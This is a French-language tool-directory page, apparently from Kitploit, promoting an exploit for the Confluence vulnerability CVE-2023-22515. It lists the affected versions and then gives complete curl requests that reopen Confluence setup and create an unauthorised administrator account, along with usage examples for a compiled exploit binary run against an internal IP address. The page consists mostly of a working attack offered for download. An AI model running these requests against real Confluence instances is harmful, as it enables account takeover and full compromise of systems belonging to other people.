Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-22515 — Outil d'exploitation de la vulnérabilité Confluence d'ajout non autorisé d'un utilisateur administrateur (CVE-2023-22515) | Kitploit
Outils/GitHubGitHub/ad-calcium/cve-2023-22515
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationRed Teaming
GitHubad-calcium/cve-2023-22515

CVE-2023-22515

Outil d'exploitation de la vulnérabilité Confluence d'ajout non autorisé d'un utilisateur administrateur (CVE-2023-22515)

Voir le dépôt
1108il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Outil Red Team - Outil d'exploitation de la vulnérabilité CVE-2023-22515 permettant l'ajout non autorisé d'un utilisateur administrateur dans Confluence

Portée d'impact de la vulnérabilité

root@kitploit:~
8.0.0 <= Confluence Data Center and Confluence Server <= 8.0.4
8.1.0 <= Confluence Data Center and Confluence Server <= 8.1.4
8.2.0 <= Confluence Data Center and Confluence Server <= 8.2.3
8.3.0 <= Confluence Data Center and Confluence Server <= 8.3.2
8.4.0 <= Confluence Data Center and Confluence Server <= 8.4.2
8.5.0 <= Confluence Data Center and Confluence Server <= 8.5.1

Exploitation de la vulnérabilité

1. Accès normal indiquant que l'installation est déjà terminée

root@kitploit:~
curl -vk http://IP/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

2. Créer un utilisateur administrateur

root@kitploit:~
test123 Password2

Exécutez la commande suivante :

root@kitploit:~
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=test123&fullName=test123&email=test123@localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://IP/setup/setupadministrator.action

3. Configuration terminée

root@kitploit:~
curl -vk -X POST -H "X-Atlassian-Token: no-check" http://IP/setup/finishsetup.action

Utilisation

root@kitploit:~
cve-2023-22515.exe
Usage of cve-2023-22515.exe:
  -pass string
        指定要添加的密码
  -proxy string
        设置代理
  -u string
        指定目标
  -user string
        指定要添加的用户名

Compte et mot de passe aléatoires

root@kitploit:~
cve-2023-22515.exe -u http://10.108.3.117:8090

image-2023101116485852

Ajout manuel d'un utilisateur administrateur

root@kitploit:~
cve-2023-22515.exe -u http://10.108.3.117:8090 -user tesxe17 -pass Password2

image-20231011164858593

Journal des modifications

root@kitploit:~
[+] 2023/10/16 增加随机用户名密码

Star History

Star History Chart

Télécharger l’outil